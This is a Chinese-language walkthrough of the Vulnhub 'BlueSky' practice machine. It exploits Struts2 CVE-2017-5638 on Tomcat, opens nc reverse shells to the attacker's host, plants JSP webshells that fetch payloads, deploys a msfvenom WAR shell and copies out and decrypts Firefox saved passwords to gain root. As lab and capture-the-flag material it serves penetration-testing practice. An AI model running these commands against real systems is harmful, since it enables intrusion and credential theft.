靶场实战 Vulnhub-BlueSky

首先使用kali扫描靶场的IP地址

Arp-scan –l

对比MAC地址 成功得到靶场IP地址192.168.72.131

进行端口扫描

Nmap –Sv –v 192.168.72.131

开放了端口22和8080

22为SSH端口,突破多半都是弱口令,咱们先不考虑这种情况,访问8080的WEB服务器看看

http://192.168.72.131:8080

访问后发现是tomcat 9.0.40 第一时间想到了tomcat的cve漏洞

使用searchsploit搜索 tomcat 9.0.40的漏洞

嗯…好像没有

那就测试一波0day吧(弱口令)

Tomcat/tomcat

Admin/admin

OK 确认没有0day

那就只能找该版本存在的漏洞了

在百度找到一个struts2-showcase的漏洞(s2-048远程代码执行)

好家伙 直接上工具了哈 就懒得再测试了

url: http://192.168.72.131:8080/struts2-showcase/index.action

好家伙 这个URL我爆目录还没爆出来 在网上搜索相关漏洞才找到

下载exp

git clone https://github.com/jrrdev/cve-2017-5638.git

测试是否存在漏洞

python exploit.py “http://192.168.72.131:8080/struts2-showcase/index.action" “whoami”

whoami执行成功

查看是否存在nc权限

python exploit.py “http://192.168.72.131:8080/struts2-showcase/index.action" “nc”

存在nc权限的 但似乎没有nc –e的权限 得通过其他方式反弹shell了

首先使用mknod建立管道

Python exploit.py “http://192.168.72.131:8080/struts2-showcase/index.action" “mknod /tmp/backpipe p”

Kali监听4444端口

Nc –nvlp 4444

反弹shell,将内容传递物使用管道文件p作为桥梁,进行数据重定向传递

python exploit.py “http://192.168.72.131:8080/struts2-showcase/index.action" -c “/bin/sh 0</tmp/p | nc 192.168.72.133 4444 1>/tmp/p”

正常来说现在kali是会获取到一个nc的shell的,但我这边不知道什么原因无法成功,先教大家此方法继续操作的方法,我再演示我自己做的替代的方法

获取到shell后在shell内运行

python3 -c ‘import pty; pty.spawn(“/bin/bash”)’

因为靶机环境内没有python2的环境,所以我们使用python3提升为一个交互式shell就可以了

第二种方法:

第二种方法我们使用window来进行渗透

首先使用struts2的图形化验证工具进行漏洞验证

得到目录地址

webpath:/usr/local/tomcat/webapps/struts2-showcase/

直接上传大马会超出字节限制

上传冰蝎的马冰蝎会无法识别webshell的密码

直接上传蚁剑的马也会超出字节限制

那么怎么办呢?

很好解决,首先我们上传一个下载文件的一句话木马

得到webshell地址

http://192.168.72.131:8080/struts2-showcase/111.jsp

然后在本地搭建一个web服务器,把要使用的一句话木马或大马放在里面,使用该一句话木马进行访问下载

http://192.168.72.131:8080/struts2-showcase/111.jsp?f=/usr/local/tomcat/webapps/struts2-showcase/222.jsp&u=http://192.168.0.159/333.jsp

上面的222.jsp是要保存的webshell马名字

333.jsp是我们在本地web服务器内储存的名字

111.jsp是当前的下载马

成功下载蚁剑的一句话木马

可以成功访问文件,但我们发现该一句话木马似乎无法执行命令,那怎么办呢?

小问题,我们利用tomcat本身的漏洞进行提权就好了

首先找到tomcat的账号木马

地址:/usr/local/tomcat/conf/tomcat-users.xml

第45行

成功得到

账号:admin

密码:6mzf3>gfZ.pN8_Mp

注意:此方法较为麻烦,主要用于无法使用nc弹回shell的情况下使用,我这边使用了各个方法都无法弹回,不得已之下才使用这个方法

现在我们回到网页去登录账号密码

登陆后的状态

我们发现下面可以部署文件,OK 那就好办了

使用WAR木马上传反弹shell就搞定了

使用msfvenom生成war马

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.72.133 LPORT=5555 -f war -o shell.war

OK 我们去上传

成功上传后,我们可以看到/shell 这就是我们上传的war马

在kali中监听5555端口

Nc –nvlp 5555

然后去访问我们上传的war马

curl http://192.168.72.131:8080/shell/

OK 我们成功获取到一个shell

同样的我们使用python3获取一个交互式shell

python3 -c ‘import pty; pty.spawn(“/bin/bash”)’

查看user.txt文件 成功获取user账户的flag

我们查看所有文件

Ls –a

在用户根目录下发现mozilla firefox浏览器文件

对我来说,最想要得到的就是它的用户名密码记录

不同版本的Firefox保存密码记录的文件名称不同,在网上找到firefox浏览器存储用户名密码的文件是logins.json(版本号大于等于32.0)或者signons.sqlite(版本号大于等于3.5,小于32.0),

具体信息参考:http://kb.mozillazine.org/Profile_folder_-_Firefox

进入位置

.mozilla/firefox/fvbljmev.default-release

可以看到两个文件

key4.db logins.json

我们要把这两个文件搞出来

使用python3开启web服务器

python3 -m http.server 6666

使用wget成功拷贝两个文件

wget http://192.168.72.131:6666/logins.json

wget http://192.168.72.131:6666/key4.db

下载解密脚本

https://github.com/lclevy/firepwd

git clone https://github.com/lclevy/firepwd.git

cd firepwd

pip3 install -r requirements.txt

运行python3 firepwd.py

https://twitter.com:b'minhtuan',b'skysayohyeah

得到账号:minhtuan

得到密码:skysayohyeah

我们使用sudo –l查看sudo权限

权限挺高 直接sudo su即可成功提权

成功拿到root权限的flag

本次靶场完成